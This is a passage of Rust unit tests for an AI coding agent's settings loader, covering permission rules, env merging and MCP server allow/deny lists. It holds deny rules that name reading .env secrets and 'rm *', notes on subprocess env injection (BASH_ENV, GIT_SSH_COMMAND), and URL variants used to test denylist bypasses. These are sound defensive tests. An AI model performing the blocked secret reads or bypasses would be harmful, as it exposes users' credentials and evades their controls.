let (cfg, warnings) = perms.into_permission_config();
|
||
|
||
// Should have 3 rules (2 allow + 1 deny)
|
||
assert_eq!(cfg.rules.len(), 3, "expected 3 rules, got {:?}", cfg.rules);
|
||
assert!(warnings.is_empty(), "unexpected warnings: {:?}", warnings);
|
||
|
||
// Verify rule contents
|
||
let actions: Vec<_> = cfg.rules.iter().map(|r| r.action).collect();
|
||
assert!(actions.contains(&RuleAction::Allow));
|
||
assert!(actions.contains(&RuleAction::Deny));
|
||
}
|
||
|
||
/// Test discovery returns correct priority order:
|
||
/// - Project paths before global
|
||
/// - settings.local.json before settings.json within each directory
|
||
#[test]
|
||
fn discovery_priority_order() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let cwd = tmp.path();
|
||
|
||
// Create .claude dir at cwd
|
||
std::fs::create_dir_all(cwd.join(".claude")).unwrap();
|
||
|
||
let paths = find_claude_settings_paths(cwd);
|
||
|
||
// Find indices of key files
|
||
let local_idx = paths
|
||
.iter()
|
||
.position(|p| p.ends_with(".claude/settings.local.json"));
|
||
let base_idx = paths.iter().position(|p| {
|
||
p.ends_with(".claude/settings.json") && !p.to_string_lossy().contains("settings.local")
|
||
});
|
||
|
||
// Local should come before base (within project)
|
||
if let (Some(li), Some(bi)) = (local_idx, base_idx) {
|
||
assert!(li < bi, "settings.local.json should precede settings.json");
|
||
}
|
||
|
||
// Project paths should be at the front (before global)
|
||
let project_local = cwd.join(".claude/settings.local.json");
|
||
if let Some(idx) = paths.iter().position(|p| p == &project_local) {
|
||
// Ensure global paths (if any) come after project
|
||
for (i, p) in paths.iter().enumerate() {
|
||
if p.to_string_lossy().contains("/.claude/") && i < idx {
|
||
// This is a project path before our project_local, which is fine
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
/// Test: when no .claude/settings.json exists anywhere, find returns paths
|
||
/// but load returns None for each.
|
||
#[test]
|
||
fn discovery_with_no_settings_files() {
|
||
// Serialize + guard $HOME so the developer's real ~/.claude/settings.json
|
||
// can't leak into the global-tier candidates (mirrors
|
||
// `project_claude_absent_when_home_is_git_repo`).
|
||
let _lock = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
|
||
let home = tempfile::tempdir().unwrap();
|
||
let _home_guard = EnvVarGuard::set("HOME", home.path());
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let cwd = tmp.path();
|
||
|
||
let paths = find_claude_settings_paths(cwd);
|
||
// Should return candidate paths
|
||
assert!(!paths.is_empty(), "should return candidate paths");
|
||
|
||
// None should actually load
|
||
let loaded: Vec<_> = paths
|
||
.iter()
|
||
.filter_map(|p| load_claude_settings(p))
|
||
.collect();
|
||
assert!(
|
||
loaded.is_empty(),
|
||
"no settings files exist, none should load"
|
||
);
|
||
}
|
||
|
||
#[test]
|
||
fn project_claude_absent_when_home_is_git_repo() {
|
||
// Home-is-a-git-repo (dotfiles in $HOME): for a cwd under home, the
|
||
// repo-root walk must NOT reach $HOME and treat `~/.claude` as
|
||
// project-tier (its env is injected into every spawned subprocess).
|
||
// Serialize + guard $HOME (find_repo_root reaches home via `.git`, and
|
||
// the guard reads dirs::home_dir()).
|
||
let _lock = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
|
||
let home = tempfile::tempdir().unwrap();
|
||
let _home_guard = EnvVarGuard::set("HOME", home.path());
|
||
git2::Repository::init(home.path()).unwrap();
|
||
let claude_dir = home.path().join(".claude");
|
||
std::fs::create_dir_all(&claude_dir).unwrap();
|
||
std::fs::write(claude_dir.join("settings.json"), "{}").unwrap();
|
||
let sub = home.path().join("x");
|
||
std::fs::create_dir_all(&sub).unwrap();
|
||
|
||
assert!(
|
||
!project_claude_settings_present(&sub),
|
||
"a home `.claude` must not be detected as project-tier"
|
||
);
|
||
}
|
||
|
||
// ═══════════════════════════════════════════════════════════════════════
|
||
// defaultMode + resolve_claude_permissions tests
|
||
// ═══════════════════════════════════════════════════════════════════════
|
||
|
||
#[test]
|
||
fn default_mode_accept_edits_produces_allow_edit_rule() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let claude_dir = tmp.path().join(".claude");
|
||
std::fs::create_dir_all(&claude_dir).unwrap();
|
||
std::fs::write(
|
||
claude_dir.join("settings.json"),
|
||
r#"{"defaultMode": "acceptEdits", "permissions": {"allow": ["Bash(npm test)"]}}"#,
|
||
)
|
||
.unwrap();
|
||
|
||
let (cfg, _, _) =
|
||
resolve_claude_settings_inner(tmp.path(), None, UserDefaultModeLoad::Apply).unwrap();
|
||
assert_eq!(cfg.rules.len(), 2);
|
||
// Explicit permission rule comes first
|
||
assert_eq!(cfg.rules[0].tool, ToolFilter::Bash);
|
||
// Synthetic Allow Edit rule is last (catch-all fallback)
|
||
assert_eq!(cfg.rules[1].action, RuleAction::Allow);
|
||
assert_eq!(cfg.rules[1].tool, ToolFilter::Edit);
|
||
assert!(cfg.rules[1].pattern.is_none());
|
||
}
|
||
|
||
#[test]
|
||
fn default_mode_accept_edits_no_permissions_still_produces_rule() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let claude_dir = tmp.path().join(".claude");
|
||
std::fs::create_dir_all(&claude_dir).unwrap();
|
||
std::fs::write(
|
||
claude_dir.join("settings.json"),
|
||
r#"{"defaultMode": "acceptEdits"}"#,
|
||
)
|
||
.unwrap();
|
||
|
||
let (cfg, skipped, _) =
|
||
resolve_claude_settings_inner(tmp.path(), None, UserDefaultModeLoad::Apply).unwrap();
|
||
assert_eq!(cfg.rules.len(), 1);
|
||
assert_eq!(cfg.rules[0].action, RuleAction::Allow);
|
||
assert_eq!(cfg.rules[0].tool, ToolFilter::Edit);
|
||
assert!(skipped.is_empty());
|
||
}
|
||
|
||
#[test]
|
||
fn claude_only_returns_claude_settings_source() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let claude_dir = tmp.path().join(".claude");
|
||
std::fs::create_dir_all(&claude_dir).unwrap();
|
||
std::fs::write(
|
||
claude_dir.join("settings.json"),
|
||
r#"{"permissions": {"allow": ["Bash(ls)"]}}"#,
|
||
)
|
||
.unwrap();
|
||
|
||
let (cfg, skipped, path) =
|
||
resolve_claude_settings_inner(tmp.path(), None, UserDefaultModeLoad::Apply).unwrap();
|
||
assert_eq!(cfg.rules.len(), 1);
|
||
assert_eq!(cfg.rules[0].tool, ToolFilter::Bash);
|
||
assert!(skipped.is_empty());
|
||
assert!(path.ends_with(".claude/settings.json"));
|
||
}
|
||
|
||
#[test]
|
||
fn no_claude_settings_returns_none() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
assert!(
|
||
resolve_claude_settings_inner(tmp.path(), None, UserDefaultModeLoad::Apply).is_none()
|
||
);
|
||
}
|
||
|
||
#[test]
|
||
fn default_mode_accept_edits_explicit_deny_takes_priority() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let claude_dir = tmp.path().join(".claude");
|
||
std::fs::create_dir_all(&claude_dir).unwrap();
|
||
std::fs::write(
|
||
claude_dir.join("settings.json"),
|
||
r#"{"defaultMode": "acceptEdits", "permissions": {"deny": ["Edit(*)"]}}"#,
|
||
)
|
||
.unwrap();
|
||
|
||
let (cfg, _, _) =
|
||
resolve_claude_settings_inner(tmp.path(), None, UserDefaultModeLoad::Apply).unwrap();
|
||
assert_eq!(cfg.rules.len(), 2);
|
||
// Explicit Deny Edit wins over the synthetic Allow (deny > ask > allow)
|
||
assert_eq!(cfg.rules[0].action, RuleAction::Deny);
|
||
assert_eq!(cfg.rules[0].tool, ToolFilter::Edit);
|
||
// Synthetic Allow Edit is appended last
|
||
assert_eq!(cfg.rules[1].action, RuleAction::Allow);
|
||
assert_eq!(cfg.rules[1].tool, ToolFilter::Edit);
|
||
}
|
||
|
||
// ═══════════════════════════════════════════════════════════════════════
|
||
// Environment variable loading tests
|
||
// ═══════════════════════════════════════════════════════════════════════
|
||
|
||
#[test]
|
||
fn load_settings_with_env() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let path = tmp.path().join("settings.json");
|
||
std::fs::write(&path, r#"{"env": {"FOO": "bar", "PORT": "8080"}}"#).unwrap();
|
||
|
||
let settings = load_claude_settings(&path).unwrap();
|
||
let env = settings.env.unwrap();
|
||
assert_eq!(env.get("FOO"), Some(&"bar".to_string()));
|
||
assert_eq!(env.get("PORT"), Some(&"8080".to_string()));
|
||
}
|
||
|
||
#[test]
|
||
fn load_settings_env_coerces_numbers_and_bools() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let path = tmp.path().join("settings.json");
|
||
std::fs::write(
|
||
&path,
|
||
r#"{"env": {"NUM": 42, "FLAG": true, "STR": "hello"}}"#,
|
||
)
|
||
.unwrap();
|
||
|
||
let settings = load_claude_settings(&path).unwrap();
|
||
let env = settings.env.unwrap();
|
||
assert_eq!(env.get("NUM"), Some(&"42".to_string()));
|
||
assert_eq!(env.get("FLAG"), Some(&"true".to_string()));
|
||
assert_eq!(env.get("STR"), Some(&"hello".to_string()));
|
||
}
|
||
|
||
#[test]
|
||
fn load_settings_env_skips_non_scalar_values() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let path = tmp.path().join("settings.json");
|
||
std::fs::write(&path, r#"{"env": {"GOOD": "yes", "BAD": [1,2,3]}}"#).unwrap();
|
||
|
||
let settings = load_claude_settings(&path).unwrap();
|
||
let env = settings.env.unwrap();
|
||
assert_eq!(env.len(), 1);
|
||
assert_eq!(env.get("GOOD"), Some(&"yes".to_string()));
|
||
assert!(!env.contains_key("BAD"));
|
||
}
|
||
|
||
#[test]
|
||
fn load_settings_env_wrong_type_returns_none() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let path = tmp.path().join("settings.json");
|
||
std::fs::write(&path, r#"{"env": "not-an-object"}"#).unwrap();
|
||
|
||
let settings = load_claude_settings(&path).unwrap();
|
||
assert!(settings.env.is_none());
|
||
}
|
||
|
||
#[test]
|
||
fn load_settings_env_skips_null_values() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let path = tmp.path().join("settings.json");
|
||
std::fs::write(&path, r#"{"env": {"GOOD": "yes", "NIL": null}}"#).unwrap();
|
||
|
||
let settings = load_claude_settings(&path).unwrap();
|
||
let env = settings.env.unwrap();
|
||
assert_eq!(env.len(), 1);
|
||
assert_eq!(env.get("GOOD"), Some(&"yes".to_string()));
|
||
assert!(!env.contains_key("NIL"));
|
||
}
|
||
|
||
#[test]
|
||
fn load_settings_no_env_field() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let path = tmp.path().join("settings.json");
|
||
std::fs::write(&path, r#"{"defaultMode": "acceptEdits"}"#).unwrap();
|
||
|
||
let settings = load_claude_settings(&path).unwrap();
|
||
assert!(settings.env.is_none());
|
||
}
|
||
|
||
#[test]
|
||
fn load_claude_env_merges_with_precedence() {
|
||
// KIGI_SHARE_DIR-isolate so the claude-import marker reads clean (an imported
|
||
// dev machine would otherwise early-return an empty map and fail these
|
||
// asserts); the project tier overrides any real `~/.claude`, so the
|
||
// per-key assertions hold without isolating HOME.
|
||
let _lock = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
|
||
let home = tempfile::tempdir().unwrap();
|
||
let _home_guard = EnvVarGuard::set("KIGI_SHARE_DIR", home.path());
|
||
let _marker_guard = EnvVarGuard::unset("_KIGI_CLAUDE_MARKER_OVERRIDE");
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let claude_dir = tmp.path().join(".claude");
|
||
std::fs::create_dir_all(&claude_dir).unwrap();
|
||
|
||
// settings.json: base values
|
||
std::fs::write(
|
||
claude_dir.join("settings.json"),
|
||
r#"{"env": {"SHARED": "from-project", "PROJECT_ONLY": "yes"}}"#,
|
||
)
|
||
.unwrap();
|
||
|
||
// settings.local.json: overrides SHARED
|
||
std::fs::write(
|
||
claude_dir.join("settings.local.json"),
|
||
r#"{"env": {"SHARED": "from-local", "LOCAL_ONLY": "yes"}}"#,
|
||
)
|
||
.unwrap();
|
||
|
||
let env = load_claude_env_with_project(tmp.path(), true);
|
||
assert_eq!(env.get("SHARED"), Some(&"from-local".to_string()));
|
||
assert_eq!(env.get("PROJECT_ONLY"), Some(&"yes".to_string()));
|
||
assert_eq!(env.get("LOCAL_ONLY"), Some(&"yes".to_string()));
|
||
}
|
||
|
||
#[test]
|
||
fn load_claude_env_empty_when_no_settings() {
|
||
// Isolate KIGI_SHARE_DIR (claude-import marker) AND HOME (global `~/.claude`)
|
||
// so neither a dev machine's import marker nor its real `~/.claude` env
|
||
// can trip the empty-map assertion.
|
||
let _lock = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
|
||
let home = tempfile::tempdir().unwrap();
|
||
let _home_guard = EnvVarGuard::set("KIGI_SHARE_DIR", home.path());
|
||
let _real_home_guard = EnvVarGuard::set("HOME", home.path());
|
||
let _marker_guard = EnvVarGuard::unset("_KIGI_CLAUDE_MARKER_OVERRIDE");
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let env = load_claude_env_with_project(tmp.path(), true);
|
||
assert!(env.is_empty());
|
||
}
|
||
|
||
#[test]
|
||
fn load_claude_env_with_project_drops_repo_env_when_untrusted() {
|
||
// The repo-tree `.claude/settings.json` env is injected into every spawned
|
||
// subprocess (BASH_ENV / GIT_SSH_COMMAND / …), so an untrusted folder must
|
||
// drop it. Isolate KIGI_SHARE_DIR so the claude-import marker reads clean (an
|
||
// imported dev machine would otherwise early-return an empty map); the
|
||
// unique key keeps it independent of the host's real `~/.claude`.
|
||
let _lock = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
|
||
let home = tempfile::tempdir().unwrap();
|
||
let _home_guard = EnvVarGuard::set("KIGI_SHARE_DIR", home.path());
|
||
let _marker_guard = EnvVarGuard::unset("_KIGI_CLAUDE_MARKER_OVERRIDE");
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let claude_dir = tmp.path().join(".claude");
|
||
std::fs::create_dir_all(&claude_dir).unwrap();
|
||
std::fs::write(
|
||
claude_dir.join("settings.json"),
|
||
r#"{"env": {"REPO_TREE_ENV_GATED": "1"}}"#,
|
||
)
|
||
.unwrap();
|
||
|
||
// Trusted (preserves the original behavior): repo-tree env IS merged.
|
||
let trusted = load_claude_env_with_project(tmp.path(), true);
|
||
assert_eq!(
|
||
trusted.get("REPO_TREE_ENV_GATED"),
|
||
Some(&"1".to_string()),
|
||
"trusted folder must merge repo-tree .claude env"
|
||
);
|
||
|
||
// Untrusted: the repo-tree env is dropped.
|
||
let untrusted = load_claude_env_with_project(tmp.path(), false);
|
||
assert!(
|
||
!untrusted.contains_key("REPO_TREE_ENV_GATED"),
|
||
"untrusted folder must drop repo-tree .claude env"
|
||
);
|
||
}
|
||
|
||
// ── requirements.toml / managed-settings.json permission tests ────
|
||
|
||
#[test]
|
||
fn parse_toml_compact_deny_rules() {
|
||
let toml_val: toml::Value =
|
||
toml::from_str(r#"deny = ["Read(**/.env*)", "Bash(cat .env*)"]"#).unwrap();
|
||
let rules = parse_toml_permission_section(&toml_val).unwrap();
|
||
|
||
assert_eq!(rules.len(), 2);
|
||
assert_eq!(rules[0].action, RuleAction::Deny);
|
||
assert_eq!(rules[0].tool, ToolFilter::Read);
|
||
assert_eq!(rules[0].pattern, Some("**/.env*".to_string()));
|
||
assert_eq!(rules[1].action, RuleAction::Deny);
|
||
assert_eq!(rules[1].tool, ToolFilter::Bash);
|
||
assert_eq!(rules[1].pattern, Some("cat .env*".to_string()));
|
||
}
|
||
|
||
/// A wrong-typed compact value (string instead of array) must warn — the
|
||
/// user believes a deny rule is in force — while valid sibling keys still
|
||
/// parse and nothing fails.
|
||
#[test]
|
||
fn parse_toml_non_array_compact_value_warns() {
|
||
#[derive(Clone, Default)]
|
||
struct CapturingWriter(std::sync::Arc<std::sync::Mutex<Vec<u8>>>);
|
||
impl std::io::Write for CapturingWriter {
|
||
fn write(&mut self, buf: &[u8]) -> std::io::Result<usize> {
|
||
self.0.lock().unwrap().extend_from_slice(buf);
|
||
Ok(buf.len())
|
||
}
|
||
fn flush(&mut self) -> std::io::Result<()> {
|
||
Ok(())
|
||
}
|
||
}
|
||
impl<'a> tracing_subscriber::fmt::MakeWriter<'a> for CapturingWriter {
|
||
type Writer = CapturingWriter;
|
||
fn make_writer(&'a self) -> Self::Writer {
|
||
self.clone()
|
||
}
|
||
}
|
||
|
||
let toml_val: toml::Value = toml::from_str(
|
||
r#"
|
||
deny = "Bash(rm *)"
|
||
allow = ["Read(*.rs)"]
|
||
"#,
|
||
)
|
||
.unwrap();
|
||
|
||
let writer = CapturingWriter::default();
|
||
let buf = writer.0.clone();
|
||
let subscriber = tracing_subscriber::fmt()
|
||
.with_writer(writer)
|
||
.with_max_level(tracing::Level::WARN)
|
||
.with_ansi(false)
|
||
.finish();
|
||
let rules = tracing::subscriber::with_default(subscriber, || {
|
||
parse_toml_permission_section(&toml_val).unwrap()
|
||
});
|
||
|
||
// The valid sibling still parses; the wrong-typed key yields no rules.
|
||
assert_eq!(rules.len(), 1);
|
||
assert_eq!(rules[0].action, RuleAction::Allow);
|
||
assert_eq!(rules[0].tool, ToolFilter::Read);
|
||
|
||
let out = String::from_utf8(buf.lock().unwrap().clone()).unwrap();
|
||
assert!(out.contains("WARN"), "no WARN level in: {out}");
|
||
assert!(
|
||
out.contains("permission.deny") && out.contains("expected an array"),
|
||
"missing non-array warning in: {out}"
|
||
);
|
||
}
|
||
|
||
#[test]
|
||
fn managed_deny_rules_block_env_reads() {
|
||
use crate::permission::policy::CompiledPolicy;
|
||
use crate::permission::types::{AccessKind, Decision};
|
||
|
||
let rules = vec![PermissionRule {
|
||
action: RuleAction::Deny,
|
||
tool: ToolFilter::Read,
|
||
pattern: Some("**/.env*".to_string()),
|
||
pattern_mode: PatternMode::Glob,
|
||
}];
|
||
|
||
let policy = CompiledPolicy::new(PermissionConfig::new(rules));
|
||
|
||
let result = policy.evaluate(&AccessKind::Read(Some(".env".into())));
|
||
assert!(matches!(result, Some(Decision::Reject(_))));
|
||
|
||
let result = policy.evaluate(&AccessKind::Read(Some("config/.env.local".into())));
|
||
assert!(matches!(result, Some(Decision::Reject(_))));
|
||
|
||
let result = policy.evaluate(&AccessKind::Read(Some("src/main.rs".into())));
|
||
assert!(result.is_none());
|
||
}
|
||
|
||
// ── managed-settings.json tests ──────────────────────────────────
|
||
|
||
#[test]
|
||
fn parse_managed_settings_json_end_to_end() {
|
||
let json = serde_json::json!({
|
||
"env": {
|
||
"DISABLE_TELEMETRY": 1,
|
||
"DISABLE_FEEDBACK_COMMAND": 1
|
||
},
|
||
"permissions": {
|
||
"disableBypassPermissionsMode": "disable",
|
||
"deny": ["Read(**/.env*)"]
|
||
},
|
||
"allowedMcpServers": [
|
||
{ "serverUrl": "https://*.example.com/*" },
|
||
{ "command": "npx" }
|
||
],
|
||
"strictKnownMarketplaces": [
|
||
{ "source": "git", "url": "git@github.enterprise.example:ACME/repo.git" }
|
||
]
|
||
});
|
||
let path = std::path::Path::new("/test/managed-settings.json");
|
||
let ms = parse_managed_settings_json(&json, path);
|
||
|
||
assert_eq!(ms.features.disable_telemetry, Some(true));
|
||
assert_eq!(ms.features.disable_feedback, Some(true));
|
||
assert_eq!(ms.features.disable_yolo, Some(true));
|
||
|
||
assert!(ms.mcp_allowlist.is_restricted());
|
||
assert!(
|
||
ms.mcp_allowlist
|
||
.is_http_allowed("https://api.example.com/mcp")
|
||
);
|
||
assert!(!ms.mcp_allowlist.is_http_allowed("https://evil.com/mcp"));
|
||
// Embedded URL in query string must not bypass allowlist
|
||
assert!(
|
||
!ms.mcp_allowlist
|
||
.is_http_allowed("https://evil.com/?x=https://fake.example.com/y")
|
||
);
|
||
assert!(ms.mcp_allowlist.is_stdio_allowed("npx"));
|
||
assert!(!ms.mcp_allowlist.is_stdio_allowed("node"));
|
||
|
||
assert!(ms.marketplace_allowlist.is_restricted());
|
||
assert!(
|
||
ms.marketplace_allowlist
|
||
.is_url_allowed("git@github.enterprise.example:ACME/repo.git")
|
||
);
|
||
assert!(
|
||
!ms.marketplace_allowlist
|
||
.is_url_allowed("git@evil.com:org/repo.git")
|
||
);
|
||
|
||
assert_eq!(ms.permissions.len(), 1);
|
||
assert_eq!(ms.permissions[0].value.action, RuleAction::Deny);
|
||
}
|
||
|
||
#[test]
|
||
fn mcp_allowlist_restricts_only_its_own_transport() {
|
||
let http_only = McpServerAllowlist::new(
|
||
vec![AllowedMcpServer::Http {
|
||
url_pattern: "https://ok.com/*".into(),
|
||
}],
|
||
vec![],
|
||
None,
|
||
);
|
||
assert!(http_only.is_stdio_allowed("anything"));
|
||
|
||
let stdio_only = McpServerAllowlist::new(
|
||
vec![AllowedMcpServer::Stdio {
|
||
command: "npx".into(),
|
||
}],
|
||
vec![],
|
||
None,
|
||
);
|
||
assert!(stdio_only.is_http_allowed("https://anything.com/mcp"));
|
||
}
|
||
|
||
#[test]
|
||
fn parse_managed_settings_denied_mcp_servers_only() {
|
||
// Enterprise MDM-shaped managed policy: pure blocklist, no allowlist.
|
||
let json = serde_json::json!({
|
||
"deniedMcpServers": [
|
||
{ "serverUrl": "https://mcp-gateway.example.net/*" },
|
||
{ "command": "npx" }
|
||
]
|
||
});
|
||
let path = std::path::Path::new("/test/managed-settings.json");
|
||
let ms = parse_managed_settings_json(&json, path);
|
||
|
||
// Deny-only must still count as restricted so enforcement engages.
|
||
assert!(ms.mcp_allowlist.is_restricted());
|
||
assert!(
|
||
!ms.mcp_allowlist
|
||
.is_http_allowed("https://mcp-gateway.example.net/mcp")
|
||
);
|
||
// Query/fragment stripping applies to deny patterns too (no bypass).
|
||
assert!(
|
||
!ms.mcp_allowlist
|
||
.is_http_allowed("https://mcp-gateway.example.net/mcp?x=y")
|
||
);
|
||
assert!(
|
||
!ms.mcp_allowlist
|
||
.is_http_allowed("https://MCP-GATEWAY.example.net/mcp")
|
||
);
|
||
// Empty allowlist still allows everything not denied.
|
||
assert!(ms.mcp_allowlist.is_http_allowed("https://other.com/mcp"));
|
||
|
||
// Stdio deny is an exact string match on the command.
|
||
assert!(!ms.mcp_allowlist.is_stdio_allowed("npx"));
|
||
assert!(ms.mcp_allowlist.is_stdio_allowed("node"));
|
||
assert!(ms.mcp_allowlist.is_stdio_allowed("/usr/local/bin/npx"));
|
||
}
|
||
|
||
#[test]
|
||
fn denied_mcp_servers_beat_allowlist() {
|
||
let json = serde_json::json!({
|
||
"allowedMcpServers": [
|
||
{ "serverUrl": "https://*.example.com/*" },
|
||
{ "command": "npx" }
|
||
],
|
||
"deniedMcpServers": [
|
||
{ "serverUrl": "https://blocked.example.com/*" },
|
||
{ "command": "npx" }
|
||
]
|
||
});
|
||
let path = std::path::Path::new("/test/managed-settings.json");
|
||
let ms = parse_managed_settings_json(&json, path);
|
||
|
||
assert!(
|
||
ms.mcp_allowlist
|
||
.is_http_allowed("https://ok.example.com/mcp")
|
||
);
|
||
// Allowed by the allowlist, but deny wins.
|
||
assert!(
|
||
!ms.mcp_allowlist
|
||
.is_http_allowed("https://blocked.example.com/mcp")
|
||
);
|
||
assert!(!ms.mcp_allowlist.is_stdio_allowed("npx"));
|
||
}
|
||
|
||
#[test]
|
||
fn mcp_denylist_restricts_only_its_own_transport() {
|
||
let json = serde_json::json!({
|
||
"deniedMcpServers": [
|
||
{ "serverUrl": "https://blocked.com/*" }
|
||
]
|
||
});
|
||
let path = std::path::Path::new("/test/managed-settings.json");
|
||
let ms = parse_managed_settings_json(&json, path);
|
||
|
||
// An http-only denylist must not restrict stdio servers.
|
||
assert!(ms.mcp_allowlist.is_stdio_allowed("anything"));
|
||
assert!(!ms.mcp_allowlist.is_http_allowed("https://blocked.com/mcp"));
|
||
}
|
||
|
||
#[test]
|
||
fn mcp_denylist_classifies_denied_servers() {
|
||
let json = serde_json::json!({
|
||
"allowedMcpServers": [
|
||
{ "serverUrl": "https://ok.example.com/*" }
|
||
],
|
||
"deniedMcpServers": [
|
||
{ "serverUrl": "https://blocked.example.com/*" }
|
||
]
|
||
});
|
||
let path = std::path::Path::new("/test/managed-settings.json");
|
||
let ms = parse_managed_settings_json(&json, path);
|
||
|
||
let denied = agent_client_protocol::McpServer::Http(
|
||
agent_client_protocol::McpServerHttp::new("blocked", "https://blocked.example.com/mcp")
|
||
.headers(vec![]),
|
||
);
|
||
let not_allowed = agent_client_protocol::McpServer::Http(
|
||
agent_client_protocol::McpServerHttp::new("other", "https://other.com/mcp")
|
||
.headers(vec![]),
|
||
);
|
||
assert!(!ms.mcp_allowlist.is_server_allowed(&denied));
|
||
assert!(ms.mcp_allowlist.is_server_denied(&denied));
|
||
assert!(!ms.mcp_allowlist.is_server_allowed(¬_allowed));
|
||
assert!(!ms.mcp_allowlist.is_server_denied(¬_allowed));
|
||
}
|
||
|
||
#[test]
|
||
fn denied_mcp_servers_fail_closed_across_scheme_port_path() {
|
||
// Deny matching must be host-normalized and scheme/port-agnostic so a
|
||
// blocklist cannot be bypassed by trivial URL variations. Regression
|
||
// for a managed-gateway deny pattern.
|
||
let json = serde_json::json!({
|
||
"deniedMcpServers": [
|
||
{ "serverUrl": "https://mcp-gateway.example.net/*" }
|
||
]
|
||
});
|
||
let path = std::path::Path::new("/test/managed-settings.json");
|
||
let ms = parse_managed_settings_json(&json, path);
|
||
let al = &ms.mcp_allowlist;
|
||
|
||
// All four previously fell through the literal glob (fail-open).
|
||
for bypass in [
|
||
"https://mcp-gateway.example.net:443/mcp", // explicit port
|
||
"http://mcp-gateway.example.net/mcp", // scheme swap
|
||
"https://mcp-gateway.example.net", // path-less host
|
||
"https://mcp-gateway.example.net./mcp", // trailing-dot FQDN
|
||
] {
|
||
assert!(!al.is_http_allowed(bypass), "must be denied: {bypass}");
|
||
}
|
||
|
||
// The same must hold through the server-level deny classifier.
|
||
let denied_port = agent_client_protocol::McpServer::Http(
|
||
agent_client_protocol::McpServerHttp::new(
|
||
"g",
|
||
"https://mcp-gateway.example.net:443/mcp",
|
||
)
|
||
.headers(vec![]),
|
||
);
|
||
assert!(al.is_server_denied(&denied_port));
|
||
|
||
// Baseline + existing guards stay denied.
|
||
assert!(!al.is_http_allowed("https://mcp-gateway.example.net/mcp"));
|
||
assert!(!al.is_http_allowed("https://mcp-gateway.example.net/mcp?x=y"));
|
||
assert!(!al.is_http_allowed("https://MCP-GATEWAY.example.net/mcp"));
|
||
|
||
// Over-block guard: a genuinely different host stays allowed (deny is
|
||
// host-scoped, not a blanket block).
|
||
assert!(al.is_http_allowed("https://mcp-gateway.staging.example.net/mcp"));
|
||
assert!(al.is_http_allowed("https://other.example.com/mcp"));
|
||
}
|
||
|
||
/// Test sink that accumulates `tracing` output into a shared buffer.
|
||
#[derive(Clone)]
|
||
struct VecWriter(std::sync::Arc<std::sync::Mutex<Vec<u8>>>);
|
||
|
||
impl std::io::Write for VecWriter {
|
||
fn write(&mut self, buf: &[u8]) -> std::io::Result<usize> {
|
||
self.0.lock().unwrap().extend_from_slice(buf);
|
||
Ok(buf.len())
|
||
}
|
||
fn flush(&mut self) -> std::io::Result<()> {
|
||
Ok(())
|
||
}
|
||
}
|
||
|
||
/// Parse `key` while capturing WARN-level logs on this thread.
|
||
fn parse_mcp_entries_capturing_logs(
|
||
json: &serde_json::Value,
|
||
key: &str,
|
||
) -> (Vec<AllowedMcpServer>, String) {
|
||
let buf = std::sync::Arc::new(std::sync::Mutex::new(Vec::<u8>::new()));
|
||
let writer_buf = buf.clone();
|
||
let subscriber = tracing_subscriber::fmt()
|
||
.with_ansi(false)
|
||
.with_max_level(tracing::Level::WARN)
|
||
.with_writer(move || VecWriter(writer_buf.clone()))
|
||
.finish();
|
||
let entries =
|
||
tracing::subscriber::with_default(subscriber, || parse_mcp_entries(json, key));
|
||
let logs = String::from_utf8(buf.lock().unwrap().clone()).unwrap();
|
||
(entries, logs)
|
||
}
|
||
|
||
#[test]
|
||
fn denied_mcp_servers_warns_on_unsupported_entry() {
|
||
// An unenforceable deny entry = silent zero enforcement, so it must warn.
|
||
let json = serde_json::json!({
|
||
"deniedMcpServers": [
|
||
{ "serverTypo": "internal-only" },
|
||
{ "serverUrl": "https://blocked.com/*" }
|
||
]
|
||
});
|
||
let (entries, logs) = parse_mcp_entries_capturing_logs(&json, "deniedMcpServers");
|
||
// Only the enforceable URL entry survives…
|
||
assert_eq!(entries.len(), 1);
|
||
// …and the dropped entry is recorded, not silently swallowed.
|
||
assert!(
|
||
logs.contains("ignoring unsupported deniedMcpServers entry"),
|
||
"expected a warning for the unsupported deny entry, got: {logs:?}"
|
||
);
|
||
}
|
||
|
||
#[test]
|
||
fn allowed_mcp_servers_silent_on_unsupported_entry() {
|
||
// The allow side is fail-closed: an unparsed entry simply isn't granted,
|
||
// so it must NOT warn.
|
||
let json = serde_json::json!({
|
||
"allowedMcpServers": [ { "serverTypo": "internal-only" } ]
|
||
});
|
||
let (entries, logs) = parse_mcp_entries_capturing_logs(&json, "allowedMcpServers");
|
||
assert!(entries.is_empty());
|
||
assert!(
|
||
!logs.contains("ignoring unsupported"),
|
||
"allow side must stay silent, got: {logs:?}"
|
||
);
|
||
}
|
||
|
||
// ── serverName MCP policy matching ───────────────────────────────
|
||
|
||
fn http_named(name: &str, url: &str) -> agent_client_protocol::McpServer {
|
||
agent_client_protocol::McpServer::Http(
|
||
agent_client_protocol::McpServerHttp::new(name, url).headers(vec![]),
|
||
)
|
||
}
|
||
|
||
fn stdio_named(name: &str, command: &str) -> agent_client_protocol::McpServer {
|
||
agent_client_protocol::McpServer::Stdio(agent_client_protocol::McpServerStdio::new(
|
||
name,
|
||
std::path::PathBuf::from(command),
|
||
))
|
||
}
|
||
|
||
fn allowlist_from(json: serde_json::Value) -> McpServerAllowlist {
|
||
let path = std::path::Path::new("/test/managed-settings.json");
|
||
